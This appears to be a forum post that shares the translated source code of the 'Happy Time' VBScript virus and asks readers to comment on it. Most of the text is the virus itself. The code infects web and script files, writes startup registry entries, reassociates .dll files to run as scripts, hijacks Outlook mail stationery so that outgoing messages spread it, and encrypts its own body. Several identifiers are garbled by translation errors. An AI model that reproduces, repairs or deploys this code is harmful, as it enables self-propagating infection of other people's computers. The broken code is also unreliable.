"Happy New Time"

// New happy hours only infect desktop. INI, folder. the HTP file is very simple, but it will cause a rapid reduction of the system speed and consume a lot of resources, and sometimes errors may occur due to the poor virus. The virus is encrypted. I have read it several times and translated garbled characters. Please thoroughly read through the virus. Paste the code here. Please advise if there is anything. Wang9658@263.net

Dim inwhere, htmltext, vbstext, degreesign, appleobject, FSO, wsshell, winpath, sube, finalydisk
Sub kj_start ()
Kjsetdim ()
Kjcreatemilieu ()
Kjlikeit ()
Kjcreatemail ()
Kjpropagate ()
End sub

Function kjappendto (filepath, typestr)
On Error resume next
Set readtemp = FSO. opentextfile (filepath, 1)
Tmpstr = readtemp. readall
If instr (tmpstr, "kj_start ()") <> 0 or Len (tmpstr) <1 then
Readtemp. Close
Exit Function
End if
If typestr = "htt" then
Readtemp. Close
Set filetemp = FSO. opentextfile (filepath, 2)
Filetemp. Write "<" & "body onload =" "&" VBScript: "&" kj_start () "" & ">" & vbcrlf & tmpstr & vbcrlf & htmltext
Filetemp. Close
Set fattrib = FSO. GetFile (filepath)
Fattrib. Attributes = 34
Else
Readtemp. Close
Set filetemp = FSO. opentextfile (filepath, 8)
If typestr = "html" then
Filetemp. write vbcrlf & "<" & "HTML>" & vbcrlf & "<" & "body onload =" "&" VBScript: "&" kj_start () "&"> "& vbcrlf & htmltext
Elseif typestr = "vbs" then
Filetemp. Write vbcrlf & vbstext
End if
Filetemp. Close
End if
End Function

Function kjchangesub (currentstring, lastindexchar)
If lastindexchar = 0 then
If left (lcase (currentstring), 1) = <lcase ("C") then
Kjchangesub = finalydisk &":/"
Sube = 0
Else
Kjchangesub = CHR (ASC (left (lcase (currentstring), 1)-1 )&":/"
Sube = 0
End if
Else
Kjchangesub = mid (currentstring, 1, lastindexchar)
End if
End Function

Function kjcreatemail ()
On Error resume next
If inwhere = "html" then
Exit Function
End if
Export File = left (winpath, 3) & "program files/common files/Microsoft shared/stationery/blank.htm"
If (FSO. fileexists (partition file) then
Call kjappendto (jsonfile, "html ")
Else
Set filetemp = FSO. opentextfile (optional file, 2, true)
Filetemp. write "<" & "HTML>" & vbcrlf & "<" & "body onload =" "&" VBScript: "&" kj_start () "&"> "& vbcrlf & htmltext
Filetemp. Close
End if
Defaultid = wsshell. regread ("HKEY_CURRENT_USER/identities/Default User ID ")
Outlookversion = wsshell. regread ("HKEY_LOCAL_MACHINE/software/Microsoft/Outlook Express/mediaver ")
Wsshell. regwrite "HKEY_CURRENT_USER/identities/" & defaultid & "/software/Microsoft/Outlook Express/" & left (outlookversion, 1 )&". 0/mail/compose use stationery ", 1," REG_DWORD"
Call kjmailreg ("HKEY_CURRENT_USER/identities/" & defaultid & "/software/Microsoft/Outlook Express/" & left (outlookversion, 1 )&". 0/mail/stationery name ", invalid file)
Call kjmailreg ("HKEY_CURRENT_USER/identities/" & defaultid & "/software/Microsoft/Outlook Express/" & left (outlookversion, 1 )&". 0/mail/wide stationery name ", invalid file)
Wsshell. regwrite "HKEY_CURRENT_USER/software/Microsoft/office/9.0/Outlook/options/mail/editorpreference", 131072, "REG_DWORD"
Call kjmailreg ("HKEY_CURRENT_USER/software/Microsoft/Windows messaging subsystem/profiles/Microsoft Outlook Internet Settings/0a0d020000000000c000000000000046/001e0360", "blank ")
Call kjmailreg ("HKEY_CURRENT_USER/software/Microsoft/Windows NT/CurrentVersion/Windows messaging subsystem/profiles/Microsoft Outlook Internet Settings/0a0d020000000000c000000000000046/001e0360", "blank ")
Wsshell. regwrite "HKEY_CURRENT_USER/software/Microsoft/office/10.0/Outlook/options/mail/editorpreference", 131072, "REG_DWORD"
Call kjmailreg ("HKEY_CURRENT_USER/software/Microsoft/office/10.0/common/mailsettings/newstationery", "blank ")
Kjummagefolder (left (winpath, 3) & "program files/common files/Microsoft shared/stationery ")
End Function

Function kjcreatemilieu ()
On Error resume next
Temppath = ""
If not (FSO. fileexists (winpath & "wscript.exe") then
Temppath = "system32 /"
End if
If temppath = "system32/" then
Startupfile = winpath & "system/kernel32.dll"
Else
Startupfile = winpath & "system/kernel. dll"
End if
Wsshell. regwrite "HKEY_LOCAL_MACHINE/software/Microsoft/Windows/CurrentVersion/run/Kernel32", startupfile
FSO. copyfile winpath & "Web/kjwall.gif", winpath & "Web/folder. htt"
FSO. copyfile winpath & "system32/kjwall.gif", winpath & "system32/desktop. ini"
Call kjappendto (winpath & "Web/folder. htt", "htt ")
Wsshell. regwrite "hkey_classes_root/. dll/", "dllfile"
Wsshell. regwrite "hkey_classes_root/. dll/content type", "application/X-msdownload"
Wsshell. regwrite "hkey_classes_root/dllfile/defaulticon/", wsshell. regread ("hkey_classes_root/vxdfile/defaulticon /")
Wsshell. regwrite "hkey_classes_root/dllfile/scriptengine/", "VBScript"
Wsshell. regwrite "hkey_classes_root/dllfile/Shell/Open/command/", winpath & temppath & "wscript.exe" "% 1" "% *"
Wsshell. regwrite "hkey_classes_root/dllfile/shellex/propertysheethandlers/wshprops/", "{60254ca5-953b-11cf-8c96-00aa00b8708c }"
Wsshell. regwrite "hkey_classes_root/dllfile/scripthostencode/", "{85131631-480c-11d2-b1f9-00c04f86c324 }"
Set filetemp = FSO. opentextfile (startupfile, 2, true)
Filetemp. Write vbstext
Filetemp. Close
End Function

Function kjlikeit ()
If inwhere <> "html" then
Exit Function
End if
Thislocation = Document. Location
If left (thislocation, 4) = "file" then
Thislocation = mid (thislocation, 9)
If FSO. getextensionname (thislocation) <> "then
Thislocation = left (thislocation, Len (thislocation)-len (FSO. getfilename (thislocation )))
End if
If Len (thislocation)> 3 then
Thislocation = thislocation &"/"
End if
Kjummagefolder (thislocation)
End if
End Function

Function kjmailreg (regstr, filename)
On Error resume next
Regtempstr = wsshell. regread (regstr)
If regtempstr = "" then
Wsshell. regwrite regstr, filename
End if
End Function

Function kjobosub (currentstring)
Sube = 0
Testout = 0
Do While true
Testout = testout + 1
If testout> 28 then
Currentstring = finalydisk &":/"
Exit do
End if
On Error resume next
Set thisfolder = FSO. getfolder (currentstring)
Set dicsub = Createobject ("scripting. Dictionary ")
Set folders = thisfolder. subfolders
Foldercount = 0
For each tempfolder in folders
Foldercount = foldercount + 1
Dicsub. Add foldercount, tempfolder. Name
Next
If dicsub. Count = 0 then
Lastindexchar = Limit Rev (currentstring, "/", Len (currentstring)-1)
Substring = mid (currentstring, lastindexchar + 1, Len (currentstring)-LastIndexChar-1)
Currentstring = kjchangesub (currentstring, lastindexchar)
Sube = 1
Else
If sube = 0 then
Currentstring = currentstring & dicsub. Item (1 )&"/"
Exit do
Else
J = 0
For j = 1 to foldercount
If lcase (substring) = lcase (dicsub. Item (j) then
If j <foldercount then
Currentstring = currentstring & dicsub. Item (J + 1 )&"/"
Exit do
End if
End if
Next
Lastindexchar = Limit Rev (currentstring, "/", Len (currentstring)-1)
Substring = mid (currentstring, lastindexchar + 1, Len (currentstring)-LastIndexChar-1)
Currentstring = kjchangesub (currentstring, lastindexchar)
End if
End if
Loop
Kjobosub = currentstring
End Function

Function kjpropagate ()
On Error resume next
Regpathvalue = "HKEY_LOCAL_MACHINE/software/Microsoft/Outlook Express/degree"
Diskdegree = wsshell. regread (regpathvalue)
If diskdegree = "" then
Diskdegree = finalydisk &":/"
End if
For I = 1 to 5
Diskdegree = kjobosub (diskdegree)
Kjummagefolder (diskdegree)
Next
Wsshell. regwrite regpathvalue, diskdegree
End Function

Function kjummagefolder (pathname)
On Error resume next
Set Foldername = FSO. getfolder (pathname)
Set thisfiles = Foldername. Files
Httexists = 0
For each thisfile in thisfiles
Fileext = ucase (FSO. getextensionname (thisfile. Path ))
If fileext = "htm" or fileext = "html" or fileext = "asp" or fileext = "php" or fileext = "jsp" then
Call kjappendto (thisfile. path, "html ")
Elseif fileext = "vbs" then
Call kjappendto (thisfile. path, "vbs ")
Elseif fileext = "htt" then
Httexists = 1
End if
Next
If (ucase (pathname) = ucase (winpath & "desktop/") or (ucase (pathname) = ucase (winpath & "desktop") then
Httexists = 1
End if
If httexists = 0 then
FSO. copyfile winpath & "system32/desktop. ini", pathname
FSO. copyfile winpath & "Web/folder. htt", pathname
End if
End Function

Function kjsetdim ()
On Error resume next
Err. Clear
Testit = wscript. scriptfullname
If err then
Inwhere = "html"
Else
Inwhere = "vbs"
End if
If inwhere = "vbs" then
Set FSO = Createobject ("scripting. FileSystemObject ")
Set wsshell = Createobject ("wscript. Shell ")
Else
Set appleobject = Document. Applets ("kj_guest ")
Appleobject. setclsid ("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B }")
Appleobject. createinstance ()
Set wsshell = appleobject. GetObject ()
Appleobject. setclsid ("{0d43fe01-f093-11cf-8940-00a0c9054228 }")
Appleobject. createinstance ()
Set FSO = appleobject. GetObject ()
End if
Set diskobject = FSO. Drives
For each disktemp in diskobject
If disktemp. drivetype <> 2 and disktemp. drivetype <> 1 then
Exit
End if
Finalydisk = disktemp. driveletter
Next
Dim otherarr (3)
Randomize
For I = 0 to 3
Otherarr (I) = int (9 * RND ))
Next
Tempstring = ""
For I = 1 to Len (thistext)
Tempnum = ASC (mid (thistext, I, 1 ))
If tempnum = 13 then
Tempnum = 28
Elseif tempnum = 10 then
Tempnum = 29
End if
Tempchar = CHR (tempnum-otherarr (I mod 4 ))
If tempchar = CHR (34) then
Tempchar = CHR (18)
End if
Tempstring = tempstring & tempchar
Next
Unlockstr = "execute (" "dim keyarr (3), thistext" "& vbcrlf &" "keyarr (0) =" & otherarr (0) & "" & vbcrlf & "" keyarr (1) = "& otherarr (1) &" "& vbcrlf &" "keyarr (2) =" & otherarr (2) & "" & vbcrlf & "" keyarr (3) = "& otherarr (3) &" "& vbcrlf &" "for I = 1 to Len (exestring) "" & vbcrlf & "" tempnum = ASC (mid (exestring, I, 1 )) "" & vbcrlf & "" If tempnum = 18 then "" & vbcrlf & "" tempnum = 34 "" & vbcrlf & "end if" "& vbcrlf &" "tempchar = CHR (tempnum + keyarr (I mod 4 )) "" & vbcrlf & "" If tempchar = CHR (28) then "" & vbcrlf & "" tempchar = vbcr "" & vbcrlf & "" elseif tempchar = CHR (29) then "" & vbcrlf & "" tempchar = vblf "" & vbcrlf & "" end if "" & vbcrlf & "" thistext = thistext & tempchar "" & vbcrlf & "" next "") "& vbcrlf &" execute (thistext )"
Thistext = "exestring =" "& tempstring &""""
Htmltext = "<" & "Script Language = VBScript>" & vbcrlf & "document. write "&" & "<" & "Div style = 'position: absolute; left: 0px; top: 0px; width: 0px; Height: 0px; z-index: 28; visibility: hidden '> "&" <"&" applet name = kJ "" & "" _ Guest Height = 0 width = 0 code = com. ms. "" & "" ActiveX. active "" & "" xcomponent> "&" <"&"/APPLET> "&" <"&"/div> "" & vbcrlf & "<"&"/ SCRIPT> "& vbcrlf &" <"&" Script Language = VBScript> "& vbcrlf & thistext & vbcrlf & unlockstr & vbcrlf &" <"&"/SCRIPT> "& vbcrlf & "<" & "/body>" & vbcrlf & "<" & "/html>"
Vbstext = thistext & vbcrlf & unlockstr & vbcrlf & "kj_start ()"
Winpath = FSO. getspecialfolder (0 )&"/"
If (FSO. fileexists (winpath & "Web/folder. htt") then
FSO. copyfile winpath & "Web/folder. htt", winpath & "Web/kjwall.gif"
End if
If (FSO. fileexists (winpath & "system32/desktop. ini") then
FSO. copyfile winpath & "system32/desktop. ini", winpath & "system32/kjwall.gif"
End if
End Function